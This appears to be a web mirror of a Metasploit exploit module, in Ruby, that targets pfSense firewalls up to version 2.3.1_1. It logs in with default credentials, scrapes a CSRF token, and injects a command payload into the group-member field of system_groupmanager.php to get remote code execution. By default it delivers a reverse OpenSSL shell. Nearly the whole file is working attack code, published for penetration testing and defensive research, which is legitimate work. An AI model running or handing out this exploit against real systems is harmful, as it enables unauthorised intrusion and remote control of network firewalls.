CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/pfsense_group_member_exec.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'pfSense authenticated group member RCE',
16
'Description' => %q(
17
pfSense, a free BSD based open source firewall distribution,
18
version <= 2.3.1_1 contains a remote command execution
19
vulnerability post authentication in the system_groupmanager.php page.
20
Verified against 2.2.6 and 2.3.
21
),
22
'Author' =>
23
[
24
's4squatch', # discovery
25
'h00die' # module
26
],
27
'References' =>
28
[
29
[ 'EDB', '43128' ],
30
[ 'URL', 'https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc']
31
],
32
'License' => MSF_LICENSE,
33
'Platform' => 'unix',
34
'Privileged' => false,
35
'DefaultOptions' =>
36
{
37
'SSL' => true,
38
'PAYLOAD' => 'cmd/unix/reverse_openssl'
39
},
40
'Arch' => [ ARCH_CMD ],
41
'Payload' =>
42
{
43
'Compat' =>
44
{
45
'PayloadType' => 'cmd',
46
'RequiredCmd' => 'perl openssl'
47
}
48
},
49
'Targets' =>
50
[
51
[ 'Automatic Target', {}]
52
],
53
'DefaultTarget' => 0,
54
'DisclosureDate' => '2017-11-06'
55
)
56
)
57
58
register_options(
59
[
60
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
61
OptString.new('PASSWORD', [ false, 'Password to login with', 'pfsense']),
62
Opt::RPORT(443)
63
], self.class
64
)
65
end
66
67
def login
68
res = send_request_cgi(
69
'uri' => '/index.php',
70
'method' => 'GET'
71
)
72
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
73
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
74
75
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
76
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
77
vprint_status("CSRF Token for login: #{csrf}")
78
79
res = send_request_cgi(
80
'uri' => '/index.php',
81
'method' => 'POST',
82
'vars_post' => {
83
'__csrf_magic' => csrf,
84
'usernamefld' => datastore['USERNAME'],
85
'passwordfld' => datastore['PASSWORD'],
86
'login' => ''
87
}
88
)
89
unless res
90
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
91
end
92
if res.code == 302
93
vprint_status('Successful Authentication')
94
return res.get_cookies
95
else
96
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
97
return nil
98
end
99
end
100
101
def detect_version(cookie)
102
res = send_request_cgi(
103
'uri' => '/index.php',
104
'method' => 'GET',
105
'cookie' => cookie
106
)
107
unless res
108
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
109
end
110
/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
111
if version
112
print_status("pfSense Version Detected: #{version}")
113
return Rex::Version.new(version)
114
end
115
# If the device isn't fully setup, you get stuck at redirects to wizard.php
116
# however, this does NOT stop exploitation strangely
117
print_error("pfSens Version Not Detected or wizard still enabled.")
118
Rex::Version.new('0.0')
119
end
120
121
def check
122
begin
123
res = send_request_cgi(
124
'uri' => '/index.php',
125
'method' => 'GET'
126
)
127
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
128
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
129
if /Login to pfSense/ =~ res.body
130
Exploit::CheckCode::Detected
131
else
132
Exploit::CheckCode::Safe
133
end
134
rescue ::Rex::ConnectionError
135
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
136
end
137
end
138
139
def exploit
140
begin
141
cookie = login
142
version = detect_version(cookie)
143
vprint_good('Login Successful')
144
res = send_request_cgi(
145
'uri' => '/system_groupmanager.php',
146
'method' => 'GET',
147
'cookie' => cookie,
148
'vars_get' => {
149
'act' => 'new'
150
}
151
)
152
153
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
154
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
155
vprint_status("CSRF Token for group creation: #{csrf}")
156
157
group_name = rand_text_alpha(10)
158
post_vars = {
159
'__csrf_magic' => csrf,
160
'groupname' => group_name,
161
'description' => '',
162
'members[]' => "0';#{payload.encoded};'",
163
'groupid' => '',
164
'save' => 'Save'
165
}
166
if version >= Rex::Version.new('2.3')
167
post_vars = post_vars.merge('gtype' => 'local')
168
elsif version <= Rex::Version.new('2.3') # catch for 2.2.6. left this elsif for easy expansion to other versions as needed
169
post_vars = post_vars.merge(
170
'act' => '',
171
'gtype' => '',
172
'privid' => ''
173
)
174
end
175
send_request_cgi(
176
'uri' => '/system_groupmanager.php',
177
'method' => 'POST',
178
'cookie' => cookie,
179
'vars_post' => post_vars,
180
'vars_get' => {
181
'act' => 'edit'
182
}
183
)
184
print_status("Manual removal of group #{group_name} is required.")
185
rescue ::Rex::ConnectionError
186
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
187
end
188
end
189
end
190
191